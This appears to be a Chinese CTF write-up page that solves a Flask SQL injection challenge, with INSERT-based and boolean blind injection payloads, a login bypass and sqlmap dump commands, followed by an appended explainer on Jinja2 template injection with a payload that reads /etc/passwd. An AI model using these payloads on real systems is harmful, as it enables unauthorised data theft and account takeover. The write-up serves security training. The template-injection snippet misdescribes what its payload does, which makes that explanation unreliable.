Web_python_flask_sql_injection(攻防世界web)


主要功能就是登陆注册,修改个人信息,能留言 然后可以关注别人
下载附件审计,先看路由 route.py

/index路由

不存在过滤 关键是结果直接回显
在这里插入图片描述

追踪到Others.py的Add函数
在这里插入图片描述

a','1','2020-7-20'),(Null,(select database()),'1','2020-7-20')#

在这里插入图片描述

最终Payload: a','1','2020-7-20'),(Null,(select flag from flag),'1','2020-7-20')#

/login路由

在这里插入图片描述在这里插入图片描述

到One函数之后,最后到Sel函数
在这里插入图片描述
在这里插入图片描述

无法登录
在这里插入图片描述

用万能密码直接登录之前创建的第一个用户
在这里插入图片描述

然后我新创建的用户反正除了这个admin1 都可以随便输一个密码就能登录了。。。。
这里应该也有一个盲注(数据库名是之前别的位置注入出来的)

admin1' or 1=(select database() = 'flask')# (这个用户名要是刚才试过万能密码的那个,别的用户名不过表达式对错都会成功登录)
在这里插入图片描述
在这里插入图片描述

成功登录了,也就是说等式成立
Payload: admin1' or 1=(paylaod)#

/register路由

在这里插入图片描述

追踪到forms.py,可以看到username这里有过滤,但email并没有
在这里插入图片描述

追踪到Others.py
在这里插入图片描述
在这里插入图片描述

在页面测试,可以进行盲注,如果正确就会回显Please use a different email address.
在这里插入图片描述在这里插入图片描述

这里的邮箱需要之前已经注册过的

可以写脚本也可以用sqlmap跑
在这里插入图片描述

这里因为在payload处加了前缀后缀,为了邮箱正确就把email处参数值清空了

sqlmap.py -r test.txt -p email --prefix "123'" --suffix "#@qq.com" --dbms mysql 5.0 --dbs  -v 4 --tamper=space2comment -csrf-token="csrf_token"

在这里插入图片描述

sqlmap.py -r test.txt -p email --prefix "123'" --suffix "#@qq.com" --dbms mysql 5.0 -D flask -T flag -C "flag" --dump  -v 4 --tamper=space2comment -csrf-token="csrf_token"

在这里插入图片描述

/edit_profile路由

在这里插入图片描述

再到forms.py
在这里插入图片描述在这里插入图片描述

note(页面上的About me)这里的过滤相对来说不严,有可乘之机

再看更新数据时用到的Mod函数
在这里插入图片描述

Sql语句基本就是update user set username=’admin’,note=’hello’ where id=1 这个样子
在这里插入图片描述

update user set username=’admin’,note=1' and (select 1=1 ) and '1'='1where id=1

在这里插入图片描述

1' and (select 1=1 ) and '1'='1的结果
在这里插入图片描述

1' and (select 1=2 ) and '1'='1的结果
在这里插入图片描述

也就是可以利用这个进行布尔盲注

参考https://www.guildhab.top/?p=2073

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Web Python Template Injection 是一种常见的 Web 漏洞类型,通常缩写为 SSTI(Server Side Template Injection)。该漏洞是由于 Web 应用程序未正确处理用户输入导致的,攻击者可以通过构造恶意输入来执行任意代码或获取敏感信息。 Python 作为一种流行的 Web 开发语言,广泛应用于 Web 应用程序中。Python Web 框架(如 Flask、Django 等)通常使用模板引擎来生成动态内容。在模板引擎中,可以使用变量、表达式、条件语句、循环语句等功能来生成动态内容。然而,如果在模板引擎中直接使用用户输入作为变量或表达式的一部分,而没有对用户输入进行适当的验证和过滤,就可能导致模板注入漏洞。 例如,在 Flask 应用程序中,可以使用 Jinja2 模板引擎来生成动态内容。如果在模板中使用了用户输入的变量,攻击者可以构造恶意输入来执行任意代码。例如,以下代码中的 name 变量可能是用户输入的: ```python from flask import Flask, render_template, request app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', '') return render_template('index.html', name=name) if __name__ == '__main__': app.run(debug=True) ``` 在 index.html 中,可以使用 {{ name }} 来显示用户输入的 name 变量。如果攻击者在 name 中注入了模板代码,就可能导致模板注入漏洞。例如,攻击者可以构造如下的输入: ``` {{ ''.__class__.__mro__[1].__subclasses__()[414]('/etc/passwd').read() }} ``` 这段代码在模板引擎中会被解释为调用 Python 的 subprocess.Popen 函数执行命令 /etc/passwd,并读取其输出。攻击者可以通过这种方式执行任意代码,获取敏感信息或者直接控制服务器。 为了防止 SSTI 漏洞,开发人员应该对用户输入进行严格的验证和过滤,避免在模板引擎中直接使用用户输入作为变量或表达式的一部分。可以使用 Python 的安全模板引擎(如 jinja2-sandbox、jinja2-timeout 等)来限制模板执行的权限,或者使用模板引擎提供的安全过滤器(如 escape、safe 等)来过滤用户输入。此外,还应该及时更新 Web 应用程序和相关组件,以避免已知的漏洞攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值